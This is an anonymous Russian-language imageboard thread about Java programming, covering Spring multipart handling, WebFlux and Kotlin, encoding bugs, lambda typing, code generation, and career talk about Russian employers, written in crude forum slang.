Хз. Попробуй стрингу вместо дто принимать и в контроллере парсить
Аноним 25/12/21 Суб 20:27:02 2247884624
>>2247872
Значит ты тоже не знаешь и ждёшь когда я решу.
25/12/21 Суб 20:37:33 2247895625
>>2247884
Я жду, когда ты перестанешь толстить и вернёшься в свой шарпотред.
Аноним 25/12/21 Суб 21:40:02 2247938626
>>2234350
Вебфлакс на Джаве такое себе, имхо его лучше с Котлином юзать, чтобы можно было писать нормальный императивный код без flatMapов.
Аноним 25/12/21 Суб 21:53:13 2247951627
>>2247938
А он точно юзабелен? Много где читал, что r2dbc еще далек от стабильности. А без реляционных баз какой нахуй энтерпрайз?
Аноним 25/12/21 Суб 22:40:48 2247985628
>>2247938
Проще сразу на ktor тогда, чем жабовские костыли в другой язык тащить.
Аноним 25/12/21 Суб 22:49:30 2247995629
>>2247985
Ну какие нахуй костыли, ну какой из котлина особый уж ДРУГОЙ язык. В спринге в целом и особенно в реакторе/вебфлюксе давно уже есть специальные экстеншны под котлин, выглядит он как родной в вебфлюксе. Другое дело, что с альтернативами блокирующему jdbc пока все плохо, но тут и ktor не спасет.
Аноним 25/12/21 Суб 22:51:25 2247998630
>>2247851
>А джесйон внутри мультипарта никак нельзя?
Можно
Аноним 25/12/21 Суб 22:55:43 2248001631
>>2247995
Я с флюксом не знаком, но если он выглядит как rx, то это самые настоящие костыли в любом языке где появлялся этот рак. Тогда котлиновское structured concurrency реально лучше будет
Аноним 25/12/21 Суб 23:00:06 2248003632
>>2248001
Смысл именно в том, что флюкс в связке с котлином позволяет выкинуть всю эту уродливую реактивщину из кода и работать на корутинах, так же как ktor
Аноним 25/12/21 Суб 23:02:39 2248004633
Аноним 26/12/21 Вск 00:18:50 2248059634
>>2247998
Теперь сам вижу, что можно, все работает в консоли браузера. Но вот десериализовать у спринга и джексона не получается. Может маппер нужен?
Аноним 26/12/21 Вск 00:23:43 2248065635
Аноны, а есть ли где-нибудь в свободном доступе либа hypersistence-optimizer? https://vladmihalcea.com/hypersistence-optimizer/

Щас подключил к своему рабочему проекту и увидел 44 предупреждения, из которых 25 крит и 11 мажор, кек. А ебаный автор либы в триал версии скрывает описание предупреждений
The optimization event description is hidden in the Trial Version. If you want to know what performance-related problem has triggered this event, you need to purchase the product
Аноним 26/12/21 Вск 08:24:09 2248164636
ubyteout.jpg 5Кб, 101x142
101x142
ubytetest.jpg 45Кб, 552x204
552x204
ubyteinternet.jpg 12Кб, 279x178
279x178
>>2248004
Я нашёл решение из интернета

>>2247895
Это одна из фундаментальных проблем джавы, но ты можешь закрывать глаза на это из-за своей гордыни, чтобы не упасть в глазах шарписта.
Аноним 26/12/21 Вск 11:01:01 2248220637
>>2248059
Смотри аннотацию RequestPart
Аноним 26/12/21 Вск 12:17:46 2248264638
>>2248220
Пробовал, не помогло. И в mime-типы ещё туда-сюда выставлял над методом и на фронте.
Точно увидел что так можно, когда гуглил. Файл + объект. Только в тех примерах фронта не было. Наверно он по другому реализован.
Аноним 26/12/21 Вск 13:24:53 2248306639
Поясните за GWT. Вот у меня сайт на джава, я могу запустить его под GWT или как?
Аноним 26/12/21 Вск 13:50:08 2248336640
>>2247379
>Как хранить в джава массив байт?
byte[] arr = new byte[10];

>Дело в том, что тип byte знаковый, а значит он не сможет хранить значения от 128 до 255

Ну раз тебе нужны величины от 0 до 255, то в чем проблема хранить их со смещением? Да, накладные расходы, но тут ничего не поделать. В джаву unsigned типы решили не добавлять, так как в С++ они хоть и есть, но также принесли с собой дополнительные проблемы.

А вообще, если тебе нужны какие-то нестандартные диапазоны, то бери int да и все. В джаве на оверхед по памяти всем похуй, энтерпрайз всегда купит дополнительные планки озу. А учитывая, что массивами пользоваться уместно далеко не всегда, то пользуются коллекциями из java.util, которые хранят ссылки на объекты, а не примитивы. А каждая ссылка весит по 16 байт. Вот и представь какой оверхед начинается, когда у тебя в коллекции уже пару миллионов элементов находится.
Аноним 26/12/21 Вск 13:52:38 2248341641
>>2246733
Как отдельную таблицу. Скорее всего в твоем мухосранске уже никогда не будет новых районов, но все равно сделай отдельной таблицей.
Аноним 26/12/21 Вск 14:14:51 2248356642
Аноним 26/12/21 Вск 14:31:05 2248369643
Кодировки меня доебали!!!!!! Аноним 26/12/21 Вск 15:40:32 2248440644
image.png 287Кб, 452x295
452x295
Кодировки меня доебали!!!!!!
Я нуфаг, в java. Задача сформировать из текстового файла ссылку и отправить её в интернет.
В тестовом файле идет строка например " хуйня™ "
когда я формирую ссылку с использованием этой строки у меня получается "http//сайт.ком/хуйня¬トᄁ " по чему так я пока хз, конфликт кодировок, но я так и не понял что с чем конфликтует.
я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")).
Из под IDE (intellij idea) костыль прекрасно работает, и всё заебись, но когда я создаю jar и запускаю его из под винды символ ™ из ссылки исчезает и весь текст, что должен идти после него.
Как правильно фиксить эту хуйню!? И почему из под иде работает а в винде нет.
Аноним 26/12/21 Вск 16:21:33 2248473645
>>2248440
>я вставляю костыль (строка.replaceAll("¬トᄁ","\u2122")).
орунах
Аноним 26/12/21 Вск 16:24:59 2248476646
>>2248306
Суть GWT в том, чтобы писать фронтенд на джаве и UI-компонентах GWT, всё это при сборке проекта компилится в JS.. Работает только на серверах приложений, собирается только антом, почти не развивается.
Аноним 26/12/21 Вск 16:32:40 2248482647
Аноним 26/12/21 Вск 16:52:45 2248503648
>>2248482
Респект, пойду курить!
Аноним 26/12/21 Вск 16:54:36 2248508649
С чего начать и что нужно знать, чтобы пойти на джуна java автоматизатора тестировщика? Достаточно ли java syntax и core?
Мануальщик опыт 2 года, хочу вкатиться в автотестирование
Аноним 26/12/21 Вск 17:03:02 2248517650
>>2248508
А что такое автоматическое тестирование и зачем ему джава?
Ньюфаг-изучающий-спринг
Аноним 26/12/21 Вск 17:05:03 2248521651
>>2248440
а что тебе мешает читать текстовый файл с указанием кодировки?
Аноним 26/12/21 Вск 17:24:06 2248540652
>>2248517
Писать автотесты на java + selenium
Аноним 26/12/21 Вск 17:39:17 2248552653
>>2248540
А че такое авто тесты?
Аноним 26/12/21 Вск 17:44:20 2248554654
>>2248306
Лучше бери Vaadin, он вроде как развивается

А так все эти хуитки, gwt, vaadin, имхо должны уйти в прошлое. Нормальный ГУИ сейчас пишут на js, либо если что-то очень тяжелое на C++/Rust + WebASM. Остальное нахуй не нужно.
Аноним 26/12/21 Вск 19:00:49 2248656655
Написал давеча говнострим сервис (на страничке отображается список видосиков с диска и плеер, который может проигрывать всё это). Декодер c++ / обвязка jni, бэк и http/rest на жабе, фронт на жопаскрипте. Бойлерплейтов и thirdparty по-минимуму. Я уже фуллстек 300к/наносек?
И собсна, пишут ли такое на жабе или она слишком педальная?
Аноним 26/12/21 Вск 19:14:19 2248676656
>>2248336
>А каждая ссылка весит по 16 байт
А чому так много? Укозатель в x64 - 8 байт, а ссылка x2 от него?
Аноним 26/12/21 Вск 19:27:44 2248692657
>>2248656
>говнострим сервис
>пишут ли такое на жабе
Говорят, когда-то на жабе написали один, нетфликс называется
Аноним 26/12/21 Вск 19:50:01 2248719658
>>2248656
>Я уже фуллстек 300к/наносек?
Декодер какой брал? Или писал свой?

>>2248656
>пишут ли такое на жабе
Много чего в нетфликсе на жабе написано.

>>2248656
>она слишком педальная
В большинстве случаев - да.
Конкретно работу с видео, стриминг, видеонаблюдение и всякое такое пишут на С++ (или на Rust в будущем). Джава больше про энтерпрайзные круды. Уровня автоматизации документооборота, складского учета, работы каких-нибудь поликлиник, гос. учереждений, банков и крупного ритейла, где математики по минимуму и очень много бюрократии.

Аноним 26/12/21 Вск 19:54:29 2248727659
>>2248676
Скорее не сама ссылка, а сколько объект занимает в памяти. Если в С/С++ можно написать структуру или класс, которая занимает ровно 1 байт в памяти, то в жабе у тебя любой объект по минимуму занимает 16 байт (в большинстве современных реализаций). Потому что выравнивание + мета информация + любой объект можно использовать в качестве мьютекса. Идет оверхед на это.
26/12/21 Вск 20:26:32 2248757660
>>2248656
На жабе из стриминг обычно middleware пишут. Т.е. круды пользователей стримов и тд.
Аноним 27/12/21 Пнд 00:13:05 2248954661
Блядь, как меня вымораживает то, что все новые апи и фичи в джаве какие-то недоделанные. В CompletableFuture потоки не прерываются. Лямбды не сериализуются. В модулях версионирования нет. В хттп клиенте тоже какой-то хуйни не хватало. И так далее.
Аноним 27/12/21 Пнд 00:34:31 2248966662
>>2248719
>Декодер
Самописный у меня криво работает (под контейнер mp4 с h264 внутри), посему пока что использую OpenH264.

>видео, стриминг, видеонаблюдение и всякое такое пишут на С++
Там два стула - либо пишешь избыточный код, делающий банальные вещи, либо борешься с зоопарком из thirdparty библиотек (с их багами, кривым дизайном, системой сборки).

Поэтому качусь в сторону java/python/(go?), где не надо на этих стульях сидеть.
Аноним 27/12/21 Пнд 01:51:12 2249001663
Почему
Object o = () -> {};
не компилируется, а
Object o = (Runnable)() -> {};
компилиуертся?

Гугл говорит, что лямбда выражение – это упрощенная запись анонимного класса, реализующего функциональный интерфейс. Получается, что "() -> {};" это объявление этого самого анонимного класса, а при приведении к Runnable происходит его инстанцирование и поэтому можно теперь присвоить Object'у?
Аноним 27/12/21 Пнд 01:55:50 2249002664
>>2249001
> Object o = () -> {};
Здесь не известен тип. Ты можешь описать сколько угодно функциональных интерфейсов, у которых один метод void без аргументов, и все будут подходить под () -> {}. По типу ссылки его тоже не вывести.
> Object o = (Runnable)() -> {};
Здесь тип известен.
Аноним 27/12/21 Пнд 08:26:42 2249047665
>>2248954
> В модулях версионирования нет
Которые jpms? Как ты это себе представляешь. Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
Аноним 27/12/21 Пнд 10:17:41 2249079666
>>2249047
>Если бы это было возможно, подразумевалось бы что у тебя в проекте несколько версий одной либы.
И что тут невозможного?
Аноним 27/12/21 Пнд 12:31:46 2249199667
>>2249079
Какой юзкейс от версионирования модулей ты собираешься извлечь?
Аноним 27/12/21 Пнд 13:17:11 2249248668
Аноним 27/12/21 Пнд 13:23:01 2249251669
>>2249199
Профит в виде лулзов в этом эпичном ИТТ треде!
Аноним 27/12/21 Пнд 15:14:20 2249411670
>>2249248
Придется тебе научиться шарить в хибернейте самому
Аноним 27/12/21 Пнд 15:17:06 2249417671
>>2249411
Придётся переделывать говнохибернейт на JdbcTemplate.
Аноним 27/12/21 Пнд 21:29:27 2249829672
Есть какой-то готовый скрипт, который парсит аргументы для запуска комманды java из разных мест и объединяет их?
Аноним 27/12/21 Пнд 21:54:22 2249851673
>>2249829
Что значит из разных мест и объединяет? Если нужен парсер аргументов командной строки есть apachecli или picocli, если любишь обманываться аннотациями.
Аноним 27/12/21 Пнд 21:59:44 2249856674
>>2249851
Значит есть например скрипт запуска в докерфайле
java -jar -XX:+UseShenandoahGC -Xlog:gc ${JAVA_ARGS} $(cat java.args) penis-1.0.0-SNAPSHOT.jar
Пользователь может задать кастомные опции для джава процесса в переменной JAVA_ARGS и файле java.args. Как это все объединить в одну строчку, чтобы ничего не сломать и не дать пользователю переопределить какие-то дефолты?
Аноним 27/12/21 Пнд 22:13:43 2249865675
>>2249856
Ну тут хз, с докером не знаком. Могу предложить только запускать докером шел в котором будет твоя валидация этих аргументов, и который потом запустит твой жарник.
Аноним 27/12/21 Пнд 22:15:21 2249868676
>>2249865
Я и спрашиваю готовый скрипт для шелла.
Аноним 28/12/21 Втр 00:25:19 2249964677
>>2249856
Нереально, только руками. Как ты вообще себя представляешь подобное автоматизировать? Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё. это в лучшем случае сведётся к нетривиальному парсингу баша, а то и других софтин, если у тебя там ещё какие-нибудь хитрые источники данных.
Аноним 28/12/21 Втр 00:35:41 2249970678
>>2249964
>Если у тебя там переменные среды, файлы, подстановка результатов команд и чёрт знает что ещё
Это вообще не важно. Главное чтобы набор аргументов от всех источников (т.е. тупо массив строк) объединить так, чтобы джава это прожевала и переопределить при необходимости.
Аноним 28/12/21 Втр 01:37:01 2249999679
>>2248220
Короче оказалось нужно было прописать каждому кусочку формдаты майм-тип на фронте, а потом аргумент метода контроллера прописывать через @RequestPart.
data.append('newStreamer', new Blob([JSON.stringify(streamer)],
{ type: 'application/json' }
))
data.append('picture', picture.files[0], picture.files[0].name)
С такой мелочью провозился целый день, и не сделал ничего, пиздец. Это меня так дизморальнуло, что два дня к этому проектику не прикасался и вообще ничего не делал по сути.
Аноним 28/12/21 Втр 13:11:10 2250292680
кот.JPG 50Кб, 1039x458
1039x458
Смотрите, есть примерно вот такая сплошная строка:

"<p>sdfsdfsdf</p>" +
<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p><p>sdfsdfsdf</p>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>" +
"<p>sdfsdfsdf</p>" +
"<img src=\"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgA/>"


Есть алгоритм, который идёт по строке, и проставляет индексы начала и конца тега img. На выходе получается мапа со значениями: "2 - 35", "75 - 153", и т.д.

Теперь мне нужно "нарезать" эту строку на подстроки. Нужно по-очереди вырезать то, что находится между тегами img, ну и сам тег img.

Есть предположения?

Аноним 28/12/21 Втр 13:17:22 2250299681
>>2250292
> />
HTML тебе не XML, там такой фичи нет. И у img нет закрывающего тега.
Ну и ты что-то странное делаешь, возьми нормальный парсер HTML
Аноним 28/12/21 Втр 14:16:49 2250360682
>>2250299
Братишка, долго объяснять, просто поверь на слово: я не html парсю. И в моем случае, тег img всегда будет закрываться последовательностью символов "/>".
Аноним 28/12/21 Втр 18:09:49 2250628683
1519927532487.png 67Кб, 872x583
872x583
>>2250292
Не вникал в алгоритм, но если у тебя есть индексы начала и конца, что мешает засунуть их в substring?
Вообще через регулярки это можно намного проще сделать.
Аноним 28/12/21 Втр 19:49:04 2250718684
1630539260944.png 61Кб, 889x574
889x574
>>2250292
Вот еще можно тупо все теги по одному вырезать.
Аноним 28/12/21 Втр 21:10:21 2250814685
>>2250628
>>2250718
Братишка, здоровья тебе и счастья в новом году, и всего наилучшего! Просто я не люблю и не знаю регулярок, поэтому хотел решить алгоритмическим путём.
Аноним 28/12/21 Втр 21:19:50 2250833686
>>2250814
Разберись. Крайне полезная штука, очень упрощает жизнь.
Мимо-другой-анон
Аноним 28/12/21 Втр 21:35:44 2250857687
>>2250833
Да вот я уже вижу. Разберусь обязательно.
Аноним 28/12/21 Втр 22:26:26 2250880688
>>2250857
Обязтельно разберись, анон! Еще много раз тебя в жизни выручит.
Аноним 28/12/21 Втр 22:32:33 2250884689
Аноним 28/12/21 Втр 22:49:24 2250893690
Аноним 29/12/21 Срд 11:45:00 2251167691
Сап.
Почему не срабатывает регэксп по поиску "два символа в начале строки" следующего вида:
str.matches("^\\\\");
?
Аноним 29/12/21 Срд 11:46:54 2251170692
regexp.png 4Кб, 393x30
393x30
>>2251167
разметка ожидаемо пошла по пизде
Аноним 29/12/21 Срд 11:47:59 2251171693
>>2251167
>>2251170
Блять, два символа "астериск" (звездочка), имелось ввиду конечно же
Аноним 29/12/21 Срд 11:57:03 2251183694
Будет ли возрождение джава-аплетов на вебассембли?
Аноним 29/12/21 Срд 12:06:50 2251194695
>>2251171
>>2251170
>>2251167
Вопрос снимается, я сам дебс, тестовые данные были кривые
сорян что насрал тут
Аноним 29/12/21 Срд 12:07:36 2251195696
>>2251183
Вебассембли сам живым не выглядит, так что о возрождении говорить странно.
Если и будет, это вряд ли будут именно апплеты. Скорее отдельная технология со своим набором классов.
Аноним 29/12/21 Срд 15:15:21 2251464697
>>2235785
Так-то есть net standart, если написал под стандврт, поддерживаемый и фреймфорком и кором, то работать будет и там и там.
Аноним 29/12/21 Срд 20:20:52 2251791698
url.PNG 24Кб, 919x198
919x198
resolver.PNG 104Кб, 908x577
908x577
Раздаю статику. И есть имя файла с кириллическими буквами(1). Ну он кодируется через url-encode(2). Но спринг почему то принимает строку урла с какимии-то 25 после каждого %(3). И у меня декодится в имя файла с кириллицей неверно(4).
Что за хрень и как решить?
Аноним 29/12/21 Срд 20:39:50 2251794699
>>2251791
%25 = закодированный %
Очевидно у тебя урл два раза кодируется
Аноним 29/12/21 Срд 20:50:58 2251800700
doubleEncode.PNG 56Кб, 920x334
920x334
>>2251794
Спасибо, анончик, так и есть.
Ну второй раз кодирует явно бекенд. Как сказать спрингу, чтобы не кодировал ничего?
Аноним 29/12/21 Срд 21:04:45 2251809701
>>2251800
Хотя все нормально оказалось, он второй раз кодирует только когда в resourcePath в ResourceResolver выводит, а под капотом там все норм.
Аноним 29/12/21 Срд 22:50:06 2251856702
Аноны поясните в двух словах как работают видео-стриминговые сервисы? Клиент асинхронно джаваскриптом запрашивает чанки и получает в каком-то волшебном стандартном для браузера формате?
Аноним 29/12/21 Срд 23:09:13 2251861703
>>2251856
1. Перейдите в браузере на стриминговый сервис
2. Откройте видео
3. Нажимте F12
4. В открывшемся окне перейдите на вкладку "Сеть"
5. Выберите любой из интересующих вас запросов на получение видео
6. Обратите внимание на заголовок Content-Type ответа.

>youtube - video/mp4
очень волшебный формат, нигде такого больше встречал
Аноним 30/12/21 Чтв 08:12:45 2251982704
>>2232299
Мобильная разработка на андроид - это java, kotlin
Бэк - это linux, devops - это linux. А с .NET полноценно работать под linux я не представляю возможным. Т.к. их "кроссплатформа" - это сказки о белом бычке работающие через костыли.
.NET нужен разве что в геймдеве, в банковском софте (хотя тут даже Java и Scala до сих пор лучшие) и если ты пишешь софт под форточки
Аноним 30/12/21 Чтв 15:47:33 2252285705
image.png 340Кб, 1170x526
1170x526
image.png 428Кб, 582x959
582x959
Поясните за СБЕР. Там реально так хуево и строчка в резюме с упоминанием СБЕРа == окончанию карьеры?
Неужели нет реально сильных команд и берут одно говно туда? Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.

Аноним 30/12/21 Чтв 16:57:39 2252344706
>>2252285
А если нигде не работал, то на 150к хотя бы можно рассчитывать?
Аноним 30/12/21 Чтв 17:18:19 2252356707
>>2252344
Нет ясен хуй. Попробуй еще стажером устроиться в это ссаный сбер на 50к, мозги будут ебать только так.
Аноним 30/12/21 Чтв 17:30:35 2252364708
>>2252356
Работать за 50к - себя не уважать. Меньше 100к даже не рассматриваю вакансии.
Аноним 30/12/21 Чтв 17:58:21 2252390709
>>2252285
>Я-то думал, что раз банк кое-как функционирует, значит и кто-то адекватный там должен быть.
Там сильно по разному, есть действительно знающие ребята - как правило они пишут критические сервисы - процессинг и все такое. А есть второстепенные сервисы по конвертации JSON в XML, вот туда набирают по остаточному принципу.
Опять же много подковерных игр, когда один начальник борется с другим, а без бонусов и повышений остаются обычные разрабы.
30/12/21 Чтв 18:14:58 2252409710
Аноним 30/12/21 Чтв 18:23:20 2252413711
>>2252390
А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов? На собесе так-то наебать могут, сказать, мол, не ссы у нас и хайлоад, и критические сервисы, и вообще никакого легаси, а в действительности будешь сидеть ковырять конвертацию XML в JSON и генерацию отчетов джаспером, и твоими коллегами будут выпускники гикбрейнса, отуса и джавараша, которые еще 7 лет назад считали труд айтишников говном и вообще всяческие попускали - травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
Аноним 30/12/21 Чтв 19:14:42 2252489712
>>2252413
>травили в школе и универе, ссали в рюкзак, отбирали вещи и деньги, ну ты понял, типичное быдло если в кратце.
Эти будут твоими менеджерами в любом большом бизнесе
Аноним 30/12/21 Чтв 19:25:39 2252505713
>>2252489
И где таких нет? Малый бизнес в России как правило не очень долго живет, и вообще особой культуры стартапов у нас не наблюдается. А среднего бизнеса в принципе почти не существует.
Аноним 30/12/21 Чтв 20:17:10 2252543714
>>2252413
>А как понять, команда состоит из шарящих ребят или из вчерашних заводчан и таксистов?
Смотри на проект и насколько важен он для бизнеса. Например можно спросить как у них работает поддержка прода - если есть дежурная смена которая работает 24х7, то проект критичный и к разработке подходят серьезно, а значит больше шансов на адекватную команду. Спроси про нагрузку - сколько запросов в секунду обслуживают, какие у них SLA, если не могут сказать четко - значит что-то второстепенное. Ну и в целом о чем проект, если что-то типа сервис для бизнес подразделения который помогает им рассчитывать бла-бла-бла и оценивать бла-бла-бла - то это и есть типичное перекладывание JSON в базу и обратно.

Только учти, что для крутых проектов ты тоже должен соответствовать.
Аноним 30/12/21 Чтв 20:21:48 2252548715
>>2252543
>Только учти, что для крутых проектов ты тоже должен соответствовать
А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем? В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов? Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
Аноним 30/12/21 Чтв 20:54:53 2252568716
>>2252548
>А если я еще стажер-джун, то куда лучше идти работать, чтобы не попадать на помойные легаси проекты в будущем?
А у тебя большой выбор? Просто трезво оценивай свои силы, первые год-два надо просто набраться опыта для резюме. Позовут в Яндекс - иди конечно, но если откажут ищи другие варианты.


>В jvmjobs советовали jetbrains, яндекс, мейл и тинькофф, это топ места для джавистов?
Там тоже легаси говна хватает, но это именитые компании. Когда у тебя в резюме Яндекс то найти новую работу сильно проще. И в больших компаниях можно поискать новый проект внутри. Плюс там много сильных разработчиков у который можно поучиться и процесс разработки нормально выстроен.


>Или сейчас на джаве в основном пишут перекладывание джейсонов, а вся нормальная разработка ведется на C++/Go/Rust в местах, куда хуй попадешь?
Понятие интересного у каждого свое. К нам приходил человек из Сбера который занимался доработкой Apache Ignite для нужд сбера. Казалось бы хайлоад, никакого легаси, но чел жалуется что работа скучная и неинтересная правда занимался он в основном фиксаньем багов и мелкими фичами, на которые у GridGain руки не доходили. В общем никогда не угадаешь, да и со временем все приедается.
Аноним 30/12/21 Чтв 21:38:00 2252607717
>>2252568
В жидбрейнсе дают своим разрабам бесплатную ИДЕ или надо покупать?
Аноним 30/12/21 Чтв 21:54:08 2252623718
А почему репозитории генерируются через прокси, а не через кодогенераторы?
30/12/21 Чтв 23:22:59 2252729719
>>2252607
Во всех нормальных компаниях дают иде
Аноним 30/12/21 Чтв 23:30:31 2252739720
>>2252607
У них собственная сборка эклипс.
Аноним 31/12/21 Птн 15:35:28 2253108721
Аноним 31/12/21 Птн 15:48:03 2253112722
>>2252623
В довесок к спринговым либам придётся обмазываться хитрыми волшебными мавенплагинами с процессорами аннотаций.
Аноним 31/12/21 Птн 16:09:36 2253122723
>>2232293 (OP)
Джава еще жива будет в следующем году?
Аноним 31/12/21 Птн 16:11:58 2253123724
>>2253112
У спринга и так есть мавен плагин. В чем проблема-то?
Аноним 31/12/21 Птн 16:24:46 2253127725
>>2253122
Нет, через семь с половиной часов умрет.
Аноним 31/12/21 Птн 16:40:25 2253128726
>>2253123
У бута есть плагин. У спринга его нет. На проектах с антом плагина тоже нет.
Аноним 31/12/21 Птн 16:51:43 2253129727
>>2253128
И че? Почему кодогенерацию-то не используют?
Аноним 31/12/21 Птн 17:05:09 2253134728
>>2253127
Блин блинский! Придется учить go
Аноним 31/12/21 Птн 17:12:42 2253142729
Аноним 31/12/21 Птн 17:26:06 2253152730
Аноним 31/12/21 Птн 17:32:35 2253155731
Аноним 31/12/21 Птн 19:22:13 2253208732
Аноним 31/12/21 Птн 19:42:06 2253217733
>>2253208
>spring cglib proxy
Ты че, совсем дегенерат блядь? Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.
Аноним 31/12/21 Птн 20:10:51 2253223734
>>2253217
>Я спрашиваю, почему не используют кодогенерацию в компайл тайме, уебок.
Для начала должен заметить, что ты тупой, агрессивный мудак, который нихуя не знает, но выебывается за пятерых.

Во вторых ты, мудило пиздоглазое, спросило
>>2252623
>А почему репозитории генерируются через прокси, а не через кодогенераторы?
тут нет ни слова про компайл тайм.

В третьих jOOQ использует компайл тайм генерацию.
Аноним 31/12/21 Птн 20:36:10 2253234735
>>2253223
>А почему репозитории генерируются через прокси, а не через кодогенераторы?
>Генерируются и через кодогенераторы
>Пруф
>cglib proxy
Сука блядская.
Аноним 31/12/21 Птн 20:42:16 2253238736
>>2253234
Кодогенератор-прокси.
31/12/21 Птн 22:58:33 2253330737
>>2252623
Потому что. Жди нейтив в спринг 6 или попробуй кваркус
Аноним 31/12/21 Птн 23:09:54 2253340738
>>2253330
> спринг 6
Мавен 4, джава 30 лтс, Оракл 25, котлин 2.0
31/12/21 Птн 23:12:34 2253342739
Аноним 01/01/22 Суб 02:31:37 2253444740
А в чем плюсы и минусы кодогенерации по сравнению с проксями?
Аноним 01/01/22 Суб 02:50:22 2253446741
>>2253444
1. Приложение быстрее запускается.
2. Больше ошибок можно выявить на этапе компиляции.
Аноним 01/01/22 Суб 04:57:12 2253469742
Аноним 01/01/22 Суб 10:24:46 2253497743
Вот в вижле можно одной кнопкой создать приложение ASP.NET, а как в Java создать проект Spring?
Аноним 01/01/22 Суб 10:40:57 2253499744
>>2253497
Это троллинг такой? Spring intializer для кого придумали?
Аноним 01/01/22 Суб 11:32:03 2253515745
newproject.jpg 31Кб, 799x812
799x812
>>2253499
А он есть в бесплатной версии? Не могу найти что-то
Аноним 01/01/22 Суб 12:05:22 2253544746
>>2253515
Он есть на хттпс://старт.спринг.ио
01/01/22 Суб 12:28:28 2253569747
>>2253469
Сложность. Зависимость от плагинов и системы сборки
01/01/22 Суб 12:29:30 2253572748
>>2253515
Встроенная поддержка спринга есть только в платной идее
Аноним 01/01/22 Суб 16:29:44 2253724749
>>2253515
У меня есть почему-то. Остального из спринга нет.
>>2253569
Процессоры аннотаций - нативная для джавы штука.
Аноним 01/01/22 Суб 16:39:08 2253732750
>>2253724
> Процессоры аннотаций - нативная для джавы штука.
Настолько нативная, что не запускается автоматически при компиляции?
Аноним 01/01/22 Суб 16:59:58 2253751751
>>2253732
Что значит автоматически? При компиляции есть отдельный флаг для javac. Да, это в отличие от мавен плагинов нативно.
Аноним 01/01/22 Суб 17:06:24 2253753752
>>2253751
Ты через javac собираешь спринговые приложения?
Аноним 01/01/22 Суб 17:10:49 2253755753
>>2253753
А твоя система сборки собирает приложения как-то без использования javac что ли?
Аноним 01/01/22 Суб 17:15:27 2253757754
>>2253755
Так систему сборки придётся хитро конфигурировать, чтобы она вызвала ебаный процессор аннотаций. Либо, чтобы было не хитро, писать плагины для неё, привязываясь таким образом к ней.
Аноним 01/01/22 Суб 17:16:37 2253759755
Аноним 01/01/22 Суб 17:29:54 2253766756
>>2253755
Что ты докопался до пацана, он зелёную кнопочку в идее нажимает и всё запускается
Аноним 01/01/22 Суб 17:46:08 2253776757
>>2253766
Так и должно быть в 2023 году. Независимость от системы сборки и волшебный спринг, конфигурируемый без программирования.
Аноним 01/01/22 Суб 17:59:58 2253788758
Аноним 01/01/22 Суб 20:02:35 2253851759
>>2253788
Не дождались чего? Возможности использовать жабу не по назначению?
Аноним 01/01/22 Суб 20:18:31 2253858760
>>2253788
Лучше бы написал как решить проблему отсутствия беззнаковых целых и полного набора битовых операций.
Аноним 01/01/22 Суб 20:24:36 2253861761
Аноним 02/01/22 Вск 15:36:19 2254256762
нужно посвящать себя только Spring
остальное мне не нужно
Java это процессор аннотаций
я люблю аннотации
Аноним 02/01/22 Вск 15:39:19 2254262763
>>2254256
Нет, это процессор XML.
Аноним 02/01/22 Вск 20:48:41 2254645764
>>2254256
А что еще может быть нужно?
Аноним 02/01/22 Вск 20:55:14 2254650765
Apache Camel
Аноним 02/01/22 Вск 20:55:45 2254651766
Аноним 02/01/22 Вск 21:26:29 2254674767
Аноним 02/01/22 Вск 21:28:22 2254679768
Аноним 02/01/22 Вск 22:13:22 2254721769
>>2254650
Зачем? Чем он лучше спринга?
Расскажите про другие джава фреймворки, кто пользовался!
Аноним 02/01/22 Вск 22:20:12 2254728770
>>2254721
Это аналог не всего спринга, а spring integration. Не лучше, да и вообще не нужен.
Аноним 02/01/22 Вск 22:40:21 2254739771
>>2254721
>>2254728
Мне понравился DSL и что куча модулей под множество интеграций уже написано.
Мы использовали Spring Boot + Camel, было весело.
Аноним 03/01/22 Пнд 09:45:32 2254909772
Чем занимается Java-разработчик? Если пишет бэкенд, то заставляют ли заниматься ещё и фронтендом?
Аноним 03/01/22 Пнд 11:57:35 2254959773
shildt.jpg 91Кб, 894x755
894x755
Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии?
Аноним 03/01/22 Пнд 12:36:19 2254999774
>>2254959
>Почему по зеленой стрелочке код запускается, а если через терминал, то нет. Это ограничение бесплатной версии?
Да, надо купить платную версию терминала, там нет ограничений на запуск приложений.

Запусти через стрелочку и посмотри с какими параметрами запускает IDEA, потом погугли доки и убери все лишние параметры.
Аноним 03/01/22 Пнд 12:40:29 2255004775
shildtvscode.jpg 44Кб, 659x387
659x387
>>2254999
Скачал бесплатный VS Code и всё завелось без проблем. Вывод: продукты жидбрейнса - кал. Ещё и деньги требуют за своё говно.
Аноним 03/01/22 Пнд 12:43:27 2255007776
>>2255004
Причем тут гуи? Посмотрти внимательно из какого каталога ты пытался запустить свое приложение.
Аноним 03/01/22 Пнд 12:45:27 2255008777
>>2255004
Все правильно сделал! А теперь скачай сисярп и съеби из треда, даун.
Аноним 03/01/22 Пнд 12:54:24 2255015778
>>2255007
На деле получается, что иде влияет. Она как-то блокирует или подменяет пути, но как именно - не понятно. В гугле пишут, что там надо с путями играться. Как по мне это говорит о низком качестве продукта. Возможно в платной версии не так и всё работает из коробки.

>>2255008
